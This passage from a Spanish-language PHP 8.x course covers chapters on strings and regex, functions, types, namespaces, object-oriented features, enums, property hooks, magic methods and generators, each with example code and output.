<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Monitor', 'stock' => 4],
    ['nombre' => 'Cable',   'stock' => 40],
    ['nombre' => 'Teclado', 'stock' => 12],
];

usort($productos, fn(array $a, array $b): int => $b['stock'] <=> $a['stock']);
echo array_first($productos)['nombre'], PHP_EOL;   // el mas stockeado
Cable

Utilidades de uso diario

<?php
declare(strict_types=1);

$a = [1, 2, 3];
$b = [3, 4];

var_dump([...$a, ...$b]);                  // spread: union manual
print_r(array_merge(['x' => 1], ['x' => 9]));  // claves texto: gana el ultimo
print_r(array_unique([1, 2, 2, 3]));
[$id, $ciudad] = explode('-', 'LIM-47');   // destructuring
echo "$id / $ciudad\n";
print_r(array_column($ventas = [
    ['id' => 7, 'pais' => 'PE'],
    ['id' => 9, 'pais' => 'CL'],
], 'pais', 'id'));
array(5) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> int(3) [4]=> int(4) } Array ( [x] => 9 ) Array ( [0] => 1 [1] => 2 [2] => 3 ) LIM / 47 Array ( [7] => PE [9] => CL )
array_merge frente a spread: con claves numéricas array_merge renumera; con claves de texto el último valor pisa al anterior. Si necesitas sumar valores en vez de reemplazarlos, usa array_merge_recursive o tu propia lógica.

Puntos clave

  • Claves: cadenas numéricas puras se convierten a int; '08' no.
  • in_array()/array_search() siempre con tercer parámetro true.
  • map transforma, filter filtra, reduce agrega: la tríada del día a día.
  • array_first()/array_last() (8.5) con ?? para valores seguros.
  • usort + nave espacial para cualquier criterio propio.

9 · Cadenas y expresiones regulares

Intermedio ~15 min

El texto es la materia prima de la web: URLs, correos, JSON, HTML. PHP trae más de un centenar de funciones de cadena; aquí quedan las que de verdad se usan, con su versión segura para español (acentos y ñ incluidos).

UTF-8 primero: mb_* frente a las clásicas

<?php
declare(strict_types=1);

$frase = 'Ñandú saltó';

echo strlen($frase), ' bytes vs ', mb_strlen($frase), ' caracteres', PHP_EOL;
echo mb_strtoupper('acción'), ' ', mb_strtolower('PERÚ'), PHP_EOL;
echo mb_substr($frase, 0, 5), PHP_EOL;
14 bytes vs 11 caracteres ACCIÓN perú Ñandú

Las funciones que sí se memorizan

NecesidadFunciónEjemplo
¿Contiene / empieza / termina?str_contains(), str_starts_with(), str_ends_with()str_contains($url, 'https') (desde 8.0)
Posiciónstrpos()Devuelve false si no está: compara con ===
Reemplazo literalstr_replace()Acepta arrays de búsqueda
Limpiezatrim(), ltrim(), rtrim()Espacios (y caracteres dados) de los bordes
Rellenar / repetirstr_pad(), str_repeat()Códigos tipo '0042'
Separar / unirexplode(), implode()CSV casero, rutas
Formatosprintf(), number_format()sprintf('%05.2f', 3.1)
Salida HTML segurahtmlspecialchars()Anticipo del capítulo de seguridad
<?php
declare(strict_types=1);

$codigo = str_pad((string) 42, 5, '0', STR_PAD_LEFT);
echo $codigo, ' | ', number_format(1234567.891, 2, ',', ' '), PHP_EOL;

$lista   = ['php', 'sql', 'odbc'];
$csv     = implode(', ', $lista);
$partes  = explode(',', 'LIM,ARE,CUZ');
echo $csv, ' / ', count($partes), ' regiones', PHP_EOL;
00042 | 1 234 567,89 php, sql, odbc / 3 regiones

Expresiones regulares con PCRE

<?php
declare(strict_types=1);

// preg_match devuelve 1 si coincide, 0 si no, false ante error
$correo = 'percy@midominio.pe';
if (preg_match('/^[\w.+-]+@[\w-]+\.[\w.-]+$/u', $correo) === 1) {
    echo "Correo valido\n";
}

// Grupos con nombre: legibles y auto-documentados
preg_match('/^(?P<usuario>[\w.+-]+)@(?P<dominio>[\w.-]+)$/', $correo, $m);
echo $m['usuario'], ' en ', $m['dominio'], PHP_EOL;

// Todas las coincidencias
preg_match_all('/\d+/', 'pedidos 12, 47 y 103', $todos);
print_r($todos[0]);

// Reemplazo con callback
$seguro = preg_replace_callback(
    '/\d+/',
    fn(array $x): string => (string) ((int) $x[0] * 2),
    'mesas 4, sillas 8'
);
echo $seguro, PHP_EOL;
Correo valido percy en midominio.pe Array ( [0] => 12 [1] => 47 [2] => 103 ) mesas 8, sillas 16

Modificadores imprescindibles

ModificadorSignificado
iInSENSIBLE a mayúsculas
m^ y $ por cada línea
sEl punto también captura saltos de línea
uPatrón y sujeto en UTF-8: úsalo SIEMPRE con texto hispano

Ejemplo integrador: generador de slugs

<?php
declare(strict_types=1);

function slug(string $titulo): string
{
    $t = mb_strtolower(trim($titulo), 'UTF-8');
    $t = str_replace(['á','é','í','ó','ú','ñ'], ['a','e','i','o','u','n'], $t);
    $t = preg_replace('/[^a-z0-9]+/', '-', $t);
    return trim((string) $t, '-');
}

$titulos = ['Café "Special", Ñandú!', '  API REST v2  '];
foreach ($titulos as $t) {
    echo slug($t), PHP_EOL;
}
cafe-special-nandu api-rest-v2

Puntos clave

  • Con texto hispano: familia mb_* y modificador u.
  • strpos() devuelve false: comparar con ===.
  • str_contains/starts/ends (8.0+) reemplazan trucos viejos.
  • Grupos nombrados (?P<x>) hacen legible cualquier regex.
  • preg_replace_callback() para transformaciones por coincidencia.

10 · Funciones modernas: nombradas, variádicas y flecha

Básico ~14 min

Las funciones de PHP 8 tienen firma completa (tipos en entrada y salida), argumentos por nombre, listas variables y una sintaxis flecha que simplifica los callbacks. Todo esto es materia prima del capítulo de novedades 8.5.

Firma completa: tipos y valores por defecto

<?php
declare(strict_types=1);

function calcularIva(float $monto, float $tasa = 0.18): float
{
    return round($monto * $tasa, 2);
}

echo calcularIva(100.0), ' / ', calcularIva(100.0, 0.10), PHP_EOL;

// Regla: los parametros con valor por defecto van SIEMPRE al final.
18 / 10

Argumentos nombrados (8.0)

<?php
declare(strict_types=1);

// Llamadas auto-documentadas; se pueden saltar opcionales intermedios:
function enviar(string $destino, string $asunto = '(sin asunto)',
                bool $urgente = false, int $reintentos = 3): string
{
    return "$destino | $asunto | urgente=$urgente reintentos=$reintentos";
}

echo enviar(destino: 'ops@empresa.pe', urgente: true), PHP_EOL;
ops@empresa.pe | (sin asunto) | urgente=true reintentos=3

Variádicas y desempaquetado

<?php
declare(strict_types=1);

function total(float ...$montos): float
{
    return array_sum($montos);
}

$partes = [40.0, 60.0];
echo total(10, 20, ...$partes), PHP_EOL;   // mezcla directa + spread
130

Arrow functions frente a closures

<?php
declare(strict_types=1);

$factor = 3;

// fn() captura AUTOMATICAMENTE la variable exterior (por valor):
$duplicar = fn(int $n): int => $n * $factor;

// closure clasica: captura EXPLICITO con use(), permite por referencia:
$contador = 0;
$incrementar = function () use (&$contador): void {
    $contador++;
};
$incrementar();
$incrementar();

echo $duplicar(5), ' / ', $contador, PHP_EOL;
15 / 2
  • fn(): una sola expresión, captura automática por valor.
  • function () use (): varias sentencias; con & captura por referencia cuando el estado debe mutar.

Callables de primera clase (8.1)

<?php
declare(strict_types=1);

$limpiar = trim(...);              // referencia a funcion SIN ejecutarla
$mayuscula = strtoupper(...);

echo $limpiar('  hola '), ' ', $mayuscula('mundo'), PHP_EOL;

// Es la base del nuevo operador pipe de PHP 8.5 (capitulo 23):
$paso = '  Texto  ' |> $limpiar |> $mayuscula;
echo $paso, PHP_EOL;
hola MUNDO TEXTO

Recursión y funciones anónimas inmediatas

<?php
declare(strict_types=1);

function factorial(int $n): int
{
    return $n <= 1 ? 1 : $n * factorial($n - 1);
}
echo factorial(5), PHP_EOL;

// IIFE: configuracion calculada sin ensuciar el ambito global
$config = (function (): array {
    $entorno = getenv('APP_ENV') ?: 'dev';
    return ['debug' => $entorno !== 'prod', 'entorno' => $entorno];
})();
print_r($config);
120 Array ( [debug] => 1 [entorno] => dev )
Referencias como parámetro (&$var): úsalas solo si hay razón de peso (rendimiento medido, API heredada). El estilo moderno devuelve un nuevo valor y deja las entradas intactas: más fácil de probar y de razonar.

Puntos clave

  • Firma completa: tipos de entrada y retorno siempre.
  • Argumentos nombrados: llamadas claras sin saltar orden.
  • fn() para callbacks cortos; use(&$x) para estado mutable.
  • Sintaxis f(...) convierte funciones en valores: prepara el pipe.
  • Opcionales siempre al final; evita &$param.

11 · Sistema de tipos: strict, union e intersección

Intermedio ~15 min

PHP es dinámico pero no tiene por qué ser relajado. Con declare(strict_types=1) y los tipos compuestos de las versiones 8.x el lenguaje valida firmas completas y convierte en TypeError lo que antes era corrupción silenciosa.

Qué cambia exactamente con strict_types

<?php
declare(strict_types=1);

function duplicar(int $n): int { return $n * 2; }

echo duplicar(5), PHP_EOL;          // 10: tipo exacto

try {
    duplicar('5');                  // sin strict convertiría en silencio
} catch (TypeError $e) {
    echo 'Bloqueado: ', get_debug_type($e), PHP_EOL;
}
10 Bloqueado: TypeError
LlamadaSin strict (coerción)Con strict_types=1
duplicar('5')10 — convierte en silencioTypeError
duplicar(5.0)10 — pierde la parte decimalTypeError
duplicar(5)1010
int → float esperadoAceptado siempreAceptado (sin pérdida)
Detalle fino: strict_types afecta a las llamadas hechas DESDE ese archivo. Si archivo B declara strict y llama a una función definida en A, la regla estricta se aplica. Por eso la declaración vive al inicio de cada archivo, incluidos los tests.

Tipos union: A | B

<?php
declare(strict_types=1);

function buscarUsuario(int|string $clave): array|null   // ?array equivale
{
    if ($clave === 0) {
        return null;
    }
    return ['id' => $clave, 'nombre' => 'Percy'];
}

$u = buscarUsuario('percy');
echo get_debug_type($u), PHP_EOL;         // depuracion moderna (7.2+)
var_dump($u['nombre'] ?? 'anonimo');
array string(5) "Percy"
  • ?Tipo es azúcar para Tipo|null.
  • get_debug_type() reemplaza trucos con gettype(): devuelve clases reales.

Tipos intersección: A & B

<?php
declare(strict_types=1);

// El argumento DEBE implementar AMBAS interfaces:
function volcar(Countable&IteratorAggregate $fuente): int
{
    return count($fuente);
}

// Si pasas algo que solo implementa una de ellas: TypeError inmediato.

DNF y tipos independientes true / false / null (8.2)

<?php
declare(strict_types=1);

// Disyuncion Normal: (A&B) | C | null — combinacion fina sin clases nuevas
function procesar(Countable&Stringable|string|null $entrada): string
{
    return match (true) {
        $entrada === null       => 'nada que procesar',
        is_string($entrada)     => mb_strtoupper($entrada),
        default                 => (string) $entrada,
    };
}

// Tipos puros para contratos exactos:
interface Validador
{
    public function validar(mixed $valor): bool;
}
function fallaSiempre(): false { return false; }

Retornos especiales: void, never y static

Tipo de retornoPromesaEjemplo típico
voidNo devuelve nada útilGuardar log, enviar correo
nullDevuelve explícitamente nullBúsquedas sin resultado
never (8.1)NUNCA retorna: lanza o terminaabortar(), redirecciones
staticInstancia de la clase llamadaEncadenamiento fluido (cap. 13)
<?php
declare(strict_types=1);

function abortar(int $codigo): never
{
    http_response_code($codigo);
    exit("Error $codigo");
}

// PHP y las herramientas estaticas SABEN que nada corre despues de abortar():
Límites del sistema: strict_types valida firmas internas, no datos externos. Lo que entra por formulario, JSON o base de datos llega como string SIEMPRE: valida y convierte en el borde (caps. 33 y 36) antes de confiar.

Puntos clave

  • strict_types=1 en cada archivo: coerción fuera, TypeError dentro.
  • Union A|B para alternativas; intersección A&B para capacidades.
  • DNF combina ambas con precisión quirúrgica (8.2).
  • never documenta terminación; static habilita flujos fluidos.
  • Datos externos SIEMPRE se validan en el borde, más allá del tipado.

12 · Espacios de nombres y autocarga

Básico ~12 min

Dos problemas desaparecen con namespaces y autocarga: los nombres que chocan (Conexion tuyo frente a Conexion de una librería) y las interminables cabeceras de require.

Declarar y usar namespaces

<?php
// src/Servicios/Facturador.php
declare(strict_types=1);

namespace App\Servicios;

class Facturador
{
    public function emitir(string $cliente): string
    {
        return "Comprobante para $cliente";
    }
}
<?php
// public/index.php
declare(strict_types=1);

use App\Servicios\Facturador;
use App\Servicios\Impuestos as Fiscal;   // alias para desempatar

$fac = new Facturador();
echo $fac->emitir('Minimarket El Sol'), PHP_EOL;
  • namespace va primero (solo antes puede haber declare(strict_types=1)) y una sola vez por archivo.
  • La regla práctica: una clase = un archivo, ruta que refleja el namespace (src/Servicios/Facturador.php).
  • ::class entrega el nombre completo como texto: Facturador::classApp\Servicios\Facturador.

Teoría: anatomía de un nombre con barra invertida

El separador es SIEMPRE la barra invertida \ (tecla junto al Enter en teclado español), nunca la diagonal /. Y ojo: un namespace NO es una ruta de disco. Es un nombre lógico; que tus carpetas lo replicen (src/Servicios/Facturador.php) es solo la convención PSR-4 que luego aprovecha el autoloader.

<?php
declare(strict_types=1);

namespace App\Servicios;

// Tres formas correctas y una trampa, referidas a la MISMA clase:

$a = Facturador::class;                  // relativa simple
$b = Sub\Facturador::class;              // relativa compuesta
$c = \App\Servicios\Facturador::class;   // ABSOLUTA (barra inicial)
$d = Servicios\Facturador::class;        // ¿relativa? ¡mira la salida!

echo __NAMESPACE__, PHP_EOL;             // App\Servicios

foreach ([$a, $b, $c, $d] as $nombre) {
    echo $nombre, PHP_EOL;
}
App\Servicios App\Servicios\Facturador App\Servicios\Sub\Facturador App\Servicios\Facturador App\Servicios\Servicios\Facturador

La última línea delata la regla de oro: sin barra inicial, PHP antepone el namespace actual ($d terminó apilando dos veces «Servicios»). Así se resuelve cualquier nombre:

Cómo se escribeTipoSe resuelve a (dentro de App\Servicios)
Facturadorrelativa simpleApp\Servicios\Facturador
Modelos\Pedidorelativa compuestaApp\Servicios\Modelos\Pedido
\App\Servicios\Facturadorabsolutatal cual, desde la raíz
\Exception, \PDOabsolutanúcleo de PHP (raíz global)
La trampa clásica: dentro de namespace App;, escribir catch (Exception $e) busca App\Exception, no la del núcleo. Usa barra inicial (\Exception) o importa con use Exception;. Con las clases importadas por use no hay ambigüedad: el alias siempre gana.
  • PHP tolera mayúsculas/minúsculas distintas, pero trátalas como sensibles: los autoloaders y sistemas de archivos NO perdonan.
  • Las clases sin namespace viven en la raíz global (por eso el núcleo es \DateTime, \Throwable...).
  • Profundidad libre: App\Servicios\Facturacion\Internas\Impuestos.
  • use afecta SOLO nombres de clases/interfaces/ funciones/constantes, nunca variables ni métodos.

Importaciones grupales y de funciones

<?php

// Grupo (7.0+): importa varias del mismo prefijo
use App\{Modelos\Pedido, Modelos\Cliente, Servicios\Facturador};

// Funciones y constantes tambien tienen namespaces:
use function App\Ayudas\nombre_largo;
use const App\Ayudas\VERSION_API;

Autocarga: adiós a los require en cadena

<?php
declare(strict_types=1);

spl_autoload_register(function (string $clase): void {
    // App\Servicios\Facturador -> src/Servicios/Facturador.php
    $ruta = __DIR__ . '/src/' . str_replace('\\', '/', $clase) . '.php';
    if (is_file($ruta)) {
        require $ruta;
    }
});

new App\Modelos\Pedido();     // PHP llama al autoloader SOLO si hace falta
Ese autoloader artesanal enseña el mecanismo. En proyectos reales lo genera Composer siguiendo el estándar PSR-4: mismo contrato, cero código propio (capítulo 37).

Puntos clave

  • Un namespace por archivo; la carpeta replica el namespace.
  • use crea apodos cortos; as resuelve colisiones.
  • ::class para referenciar clases sin instanciarlas.
  • spl_autoload_register() carga clases bajo demanda.
  • PSR-4 + Composer automatizan todo esto (cap. 37).

13 · Clases y objetos: promoción de propiedades

Básico ~14 min

Desde PHP 8.0 una clase con estado se escribe en una fracción de líneas gracias a la promoción de propiedades en el constructor. Este capítulo construye el vocabulario POO que la Parte III completa.

La clase mínima moderna

<?php
declare(strict_types=1);

class Pedido
{
    public function __construct(
        public readonly int $id,
        public string $cliente,
        private float $total = 0.0,          // privado + valor por defecto
    ) {
    }

    public function total(): float           // getter explicito para lo privado
    {
        return $this->total;
    }
}

$p = new Pedido(1, 'Minimarket El Sol', 149.90);
echo $p->cliente, ' debe ', $p->total(), PHP_EOL;
Minimarket El Sol debe 149.9

Una línea promovida equivale a: declarar la propiedad, asignarla en el constructor y tipar todo a la vez. Menos código y cero desincronización.

Visibilidad: quién ve qué

ModificadorClase propiaHeredadasMundo exterior
public
protectedNo
privateNoNo

Regla del curso: propiedades privadas o readonly públicas; lo público sin control es la puerta de entrada a estados imposibles.

Miembros estáticos y constantes tipadas

<?php
declare(strict_types=1);

class Config
{
    public const int LIMITE_PEDIDOS = 50;     // constante tipada (8.3)
    private static int $conexiones = 0;

    public static function abrir(): void
    {
        self::$conexiones++;
    }

    public static function conexiones(): int
    {
        return self::$conexiones;
    }
}

Config::abrir();
Config::abrir();
echo Config::LIMITE_PEDIDOS, ' / ', Config::conexiones(), PHP_EOL;
50 / 2
  • self:: resuelve contra la clase donde se escribe; static:: respeta a la clase hija (late static binding).
  • Las constantes aceptan tipo desde 8.3: errores tempranos también aquí.

Identidad frente a igualdad

<?php
$a = new Pedido(1, 'Ana');
$b = new Pedido(1, 'Ana');
$c = $a;

var_dump($a == $b);    // true  : mismos valores comparables
var_dump($a === $b);   // false : instancias distintas
var_dump($a === $c);   // true  : misma instancia
var_dump($a instanceof Pedido);
Copiar objetos usa $copia = clone $a;; en PHP 8.5 además puedes modificar propiedades durante la clonación con clone($a, [...]) — lo verás en el capítulo 23.

Puntos clave

  • Promoción en constructor = declaración + asignación + tipos en una línea.
  • Estado interno privado o readonly público; nada público sin control.
  • self:: fijo, static:: tardío; constantes tipadas desde 8.3.
  • === compara identidad de instancia, no valores.
  • clone copia superficielmente: cuidado con propiedades objeto.

14 · Herencia, interfaces y clases abstractas

Intermedio ~15 min

Tres herramientas para compartir comportamiento con reglas distintas: herencia (es-un), interfaces (sabe-hacer) y clases abstractas (plantilla incompleta). El polimorfismo es el premio por combinarlas bien.

Herencia: extends y parent::

<?php
declare(strict_types=1);

class Documento
{
    public function __construct(
        protected string $emisor,
        protected float $monto,
    ) {
    }

    public function resumen(): string
    {
        return sprintf('%s emitio S/ %.2f', $this->emisor, $this->monto);
    }
}

class Boleta extends Documento
{
    public function resumen(): string          // sobrescritura
    {
        return 'BOLETA - ' . parent::resumen();   // reutiliza al padre
    }
}

echo (new Boleta('El Sol', 88.50))->resumen(), PHP_EOL;
BOLETA - El Sol emitio S/ 88.50

Interfaces: contratos sin implementación

<?php
declare(strict_types=1);

interface Exportable
{
    public const FORMATO_DEFECTO = 'pdf';     // solo constantes y firmas

    public function exportar(): string;
}

interface Imprimible
{
    public function imprimir(): void;
}

// Una clase puede cumplir varios contratos:
class Factura implements Exportable, Imprimible
{
    public function exportar(): string
    {
        return 'factura.' . self::FORMATO_DEFECTO;
    }

    public function imprimir(): void
    {
        echo 'Enviando a la impresora...', PHP_EOL;
    }
}

function despachar(Exportable $doc): void    // polimorfismo por tipo
{
    echo 'Guardando ', $doc->exportar(), PHP_EOL;
}

despachar(new Factura());
Guardando factura.pdf

Clases abstractas: mitad contrato, mitad código

<?php
declare(strict_types=1);

abstract class Reporte
{
    public function __construct(protected string $titulo)
    {
    }

    abstract public function cuerpo(): string;      // obligatorio en hijas

    public function render(): string                // compartido ya hecho
    {
        return "=== {$this->titulo} ===\n{$this->cuerpo()}";
    }
}

final class ReporteVentas extends Reporte       // final: no se puede heredar mas
{
    public function cuerpo(): string
    {
        return 'Ventas del dia: S/ 1 240.00';
    }
}

echo (new ReporteVentas('Cierre'))->render(), PHP_EOL;
=== Cierre === Ventas del dia: S/ 1 240.00

#[\Override]: el guardián de las sobrescrituras (8.3)

<?php
declare(strict_types=1);

class FacturaConIgv extends Factura
{
    #[\Override]                       // error fatal si arriba NO existia este metodo
    public function exportar(): string
    {
        return 'factura_igv.pdf';
    }
}

Si renombras un método del padre, todas las hijas marcadas fallan al instante en lugar de convertirse silenciosamente en métodos nuevos.

HerramientaDa código listoMúltiples por claseInstanciable
Herencia (extends)No (un solo padre)Padre sí, si no es abstracta
InterfaceNo (solo firmas)No
Clase abstractaParcialNoNo
Trait (cap. 15)No

Puntos clave

  • Interfaz = «sabe hacer»; abstracta = «cómo se hace a medias».
  • Acepta interfaces en firmas: desacopla tu código de implementaciones.
  • parent:: extiende sin duplicar; final cierra la jerarquía.
  • #[\Override] convierte renombres accidentales en errores visibles.
  • Prefiere composición + interfaces cuando la jerarquía empieza a ramificarse.

15 · Traits y enums

Intermedio ~15 min

Traits reutilizan código en horizontal entre clases sin parentesco; enums (8.1) convierten conjuntos finitos de valores —estados, tipos, categorías— en objetos con lógica propia. Juntos eliminan dos clases enteras de bugs.

Traits: herencia horizontal

<?php
declare(strict_types=1);

trait Registrable
{
    private array $bitacora = [];

    protected function registrar(string $evento): void
    {
        $this->bitacora[] = date('H:i:s ') . $evento;
    }

    public function bitacora(): array
    {
        return $this->bitacora;
    }
}

class Pago
{
    use Registrable;

    public function procesar(float $monto): void
    {
        $this->registrar("Pago de $monto procesado");
    }
}

$pago = new Pago();
$pago->procesar(59.90);
print_r($pago->bitacora());
Array ( [0] => 14:32:07 Pago de 59.9 procesado )

Cuando dos traits aportan el mismo método, la colisión se resuelve a mano:

<?php

class Caja
{
    use TraitA, TraitB {
        TraitA::saludar insteadof TraitB;   // gana TraitA
        TraitB::saludar as saludoAlterno;   // el de B sobrevive con otro nombre
    }
}

Enums: estados que no se corrompen

<?php
declare(strict_types=1);

enum EstadoPedido: string          // backed enum: cada caso respalda un string
{
    case PENDIENTE     = 'P';
    case EN_PREPARACION = 'R';
    case EN_CAMINO     = 'C';
    case ENTREGADO     = 'E';
    case CANCELADO     = 'X';

    public function esFinal(): bool
    {
        return in_array($this, [self::ENTREGADO, self::CANCELADO], true);
    }
}

$estado = EstadoPedido::EN_CAMINO;
echo $estado->value, ' final=', $estado->esFinal() ? 'si' : 'no', PHP_EOL;

// Desde datos externos (base de datos): tryFrom devuelve null, from lanza:
$deBD = EstadoPedido::tryFrom('P');
var_dump($deBD === EstadoPedido::PENDIENTE);

// Recorrido completo:
foreach (EstadoPedido::cases() as $caso) {
    echo $caso->name, ' ', PHP_EOL;
}
C final=no bool(true) PENDIENTE EN_PREPARACION EN_CAMINO ENTREGADO CANCELADO
  • enum Estado puro (sin respaldo) o enum X : string|int respaldado para persistir.
  • Pueden tener métodos, implementar interfaces y hasta constantes.
  • from() lanza si el valor no existe; tryFrom() devuelve null: ideal para entrada externa.

match + enum: transiciones a prueba de olvidos

<?php
declare(strict_types=1);

function siguiente(EstadoPedido $actual): ?EstadoPedido
{
    return match ($actual) {
        EstadoPedido::PENDIENTE      => EstadoPedido::EN_PREPARACION,
        EstadoPedido::EN_PREPARACION => EstadoPedido::EN_CAMINO,
        EstadoPedido::EN_CAMINO      => EstadoPedido::ENTREGADO,
        default                      => null,   // los finales ya no avanzan
    };
}

echo siguiente(EstadoPedido::PENDIENTE)?->name, PHP_EOL;
EN_PREPARACION
Sustituir constantes sueltas (const ESTADO_P = 'P') por enums elimina la familia entera de errores «estado inválido»: el tipo mismo impide construir valores fuera del catálogo.

Puntos clave

  • Trait comparte comportamiento entre jerarquías distintas; colisiones con insteadof/as.
  • Enums tipados desde 8.1: casos cerrados + métodos + value.
  • tryFrom() para entrada externa, from() para datos confiables.
  • match sobre enums hace las máquinas de estado legibles y exhaustivas.

16 · readonly, visibilidad asimétrica y hooks (8.4)

Intermedio ~13 min

PHP 8.1 a 8.4 construyó una escalera de control fino sobre las propiedades: primero escribir una sola vez, luego lectura y escritura con alcances distintos, y finalmente comportamiento en el acceso sin escribir getters.

readonly: inicializar una vez (8.1)

<?php
declare(strict_types=1);

class Comprobante
{
    public function __construct(
        public readonly string $serie,
        public readonly int $numero,
    ) {
    }
}

$c = new Comprobante('F001', 42);
echo $c->serie . '-' . $c->numero, PHP_EOL;

// $c->serie = 'F002';   // Error: no se puede modificar fuera del alcance interno
F001-42
  • Solo puede asignarse desde dentro de la propia clase (constructor) y solo UNA vez.
  • readonly class (8.2) marca todas las propiedades de golpe.
  • No combina con propiedades estáticas ni por defecto mutables.

Visibilidad asimétrica (8.4)

<?php
declare(strict_types=1);

class Sesion
{
    public function __construct(
        public private(set) string $token,   // leo de donde sea, escribo SOLO aqui
    ) {
    }

    public function rotar(): void
    {
        $this->token = bin2hex(random_bytes(8));   // permitido: mismo scope
    }
}

$s = new Sesion(bin2hex(random_bytes(8)));
echo substr($s->token, 0, 6), '...', PHP_EOL;
9f3a1c...
DeclaraciónLectura desdeEscritura desde
publiccualquieracualquiera
public private(set)cualquierasolo la clase
public protected(set)cualquieraclase + heredadas
private(set) solosolo la clasesolo la clase

Hooks de propiedad: comportamiento en el acceso (8.4)

Los hooks get y set viven junto a la propiedad: normalizan al asignar, derivan al leer y hasta eliminan el campo respaldado (virtual properties).

<?php
declare(strict_types=1);

class Producto
{
    public string $nombre {
        set (string $valor) {
            $this->nombre = ucfirst(trim($valor));   // normaliza al entrar
        }
    }

    // Propiedad VIRTUAL: no existe campo; se calcula al vuelo:
    public string $etiqueta => strtoupper($this->nombre);   // hook get abreviado

    public function __construct(string $nombre)
    {
        $this->nombre = $nombre;
    }
}

$p = new Producto('  cafe especial  ');
echo $p->nombre, ' | ', $p->etiqueta, PHP_EOL;
Cafe especial | CAFE ESPECIAL
Cuándo cada herramienta: inmutable total → readonly; mutable pero protegido → visibilidad asimétrica; lógica de acceso o campos calculados → hooks. Los hooks NO combinan con readonly: son enfoques alternativos.

Puntos clave

  • readonly: una escritura, desde dentro, para siempre.
  • public private(set) separa lectura pública de escritura interna.
  • Hooks get/set reemplazan getters/setters triviales.
  • Propiedades virtuales (=>) sin campo respaldado.
  • Elegir UNA estrategia por propiedad: readonly XOR hooks.

17 · Métodos mágicos y clases anónimas

Intermedio ~12 min

Los métodos mágicos interceptan eventos del ciclo de vida de un objeto: cómo se imprime, qué pasa al acceder a propiedades inexistentes, cómo se clona o serializa. Las clases anónimas completan la caja de herramientas para objetos de un solo uso.

Los cuatro de uso diario

<?php
declare(strict_types=1);

class Dinero
{
    public function __construct(
        private float $monto,
        private string $moneda = 'PEN',
    ) {
    }

    public function __toString(): string           // echo / concatenacion
    {
        return sprintf('%s %.2f', $this->moneda, $this->monto);
    }

    public function __invoke(float $descuento): self   // objeto como funcion
    {
        return new self($this->monto * (1 - $descuento), $this->moneda);
    }

    public function monto(): float { return $this->monto; }
}

$precio = new Dinero(199.90);
echo $precio, PHP_EOL;
$conDescuento = $precio(0.10);                 // __invoke con 10% off
echo $conDescuento, PHP_EOL;
PEN 199.90 PEN 179.91

Propiedades dinámicas controladas: __get/__set/__call

<?php
declare(strict_types=1);

class ConfiguracionFlexible implements ArrayAccess
{
    private array $datos = [];

    public function __get(string $nombre): mixed
    {
        return $this->datos[$nombre] ?? null;
    }

    public function __set(string $nombre, mixed $valor): void
    {
        $this->datos[$nombre] = $valor;
    }

    public function __call(string $metodo, array $args): mixed
    {
        // metodoInexistente() delegado a un handler central
        return "[$metodo] no implementado, argumentos: " . count($args);
    }

    // ArrayAccess (interfaz real, no magia) para $cfg['clave']:
    public function offsetGet(mixed $k): mixed { return $this->__get($k); }
    public function offsetSet(mixed $k, mixed $v): void { $this->__set($k, $v); }
    public function offsetExists(mixed $k): bool { return isset($this->datos[$k]); }
    public function offsetUnset(mixed $k): void { unset($this->datos[$k]); }
}

$cfg = new ConfiguracionFlexible();
$cfg->tema = 'oscuro';                    // dispara __set
echo $cfg->tema, ' / ', $cfg['tema'], PHP_EOL;
echo $cfg->algoQueNoExiste('x'), PHP_EOL;
oscuro / oscuro [algoQueNoExiste] no implementado, argumentos: 1
Jerarquía moderna: para propiedades NUEVAS usa hooks 8.4 (cap. 16). __get/__set siguen siendo la herramienta cuando el conjunto de nombres es desconocido en tiempo de diseño. Las propiedades dinámicas sueltas están prohibidas desde 8.2.

Clonación y serialización

<?php
declare(strict_types=1);

class RegistroConFecha
{
    public function __clone()
    {
        // ajustes al clonar: p. ej. regenerar identificadores
    }

    public function __serialize(): array     // reemplaza a __sleep (DEPRECIADO en 8.5)
    {
        return ['guardado' => true];
    }

    public function __unserialize(array $data): void
    {
    }
}

Clases anónimas: objetos de una sola pieza

<?php
declare(strict_types=1);

interface Notificador { public function enviar(string $msg): void; }

function difundir(Notificador $n): void { $n->enviar('Cierre diario listo'); }

difundir(new class implements Notificador {     // new class sin nombre
    public function enviar(string $msg): void
    {
        echo '[consola] ', $msg, PHP_EOL;
    }
});
[consola] Cierre diario listo

Útiles para DTO desechables, dobles de prueba y adaptadores pequeños que no merecen archivo propio.

Puntos clave

  • __toString e __invoke hacen objetos legibles/llamables.
  • __get/__set/__call: delegación cuando los nombres son dinámicos.
  • __serialize/__unserialize sustituyen a __sleep/__wakeup (deprecados en 8.5).
  • new class {...} para colaboradores de un solo uso.

18 · Generadores e iteradores

Intermedio ~13 min

Un generador produce valores bajo demanda: la función se pausa en cada yield y retoma donde quedó. El resultado es código tan simple como un array pero con memoria constante, ideal para archivos enormes o consultas paginadas.

yield: el array perezoso

<?php
declare(strict_types=1);

function cuadrados(int $hasta): Generator
{
    for ($i = 1; $i <= $hasta; $i++) {
        yield $i => $i * $i;         // clave => valor, como un foreach
    }
}

foreach (cuadrados(4) as $n => $cuadrado) {
    echo "$n al cuadrado = $cuadrado\n";
}
1 al cuadrado = 1 2 al cuadrado = 4 3 al cuadrado = 9 4 al cuadrado = 16

El caso que justifica todo: leer archivos gigantes

<?php
declare(strict_types=1);

function lineas(string $ruta): Generator
{
    $fh = fopen($ruta, 'rb');
    try {
        while (($linea = fgets($fh)) !== false) {
            yield trim($linea);       // UNA linea en memoria a la vez
        }
    } finally {
        fclose($fh);
    }
}

// Con un log de 10 GB esto NO consume 10 GB de RAM:
$errores = 0;
foreach (lineas('/var/log/app.log') as $linea) {
    if (str_contains($linea, 'ERROR')) {
        $errores++;
    }
}
echo "Errores encontrados: $errores\n";
CriterioarrayGenerator
MemoriaTodos los elementos de golpeUno por vez
ReutilizableSí (varios foreach)No: una sola pasada
count()InmediatoNo disponible
Ideal paraColecciones pequeñas/mediasStreams, ETL, paginación SQL con cursor

Delegación y valor final

<?php
declare(strict_types=1);

function internos(): Generator
{
    yield 'a';
    yield 'b';
    return 2;                       // valor de retorno del generador
}

function compuesto(): Generator
{
    $total = yield from internos(); // delega y captura el return
    yield "procesados: $total";
}

foreach (compuesto() as $pieza) {
    echo $pieza, PHP_EOL;
}
a b procesados: 2

Objetos iterables propios

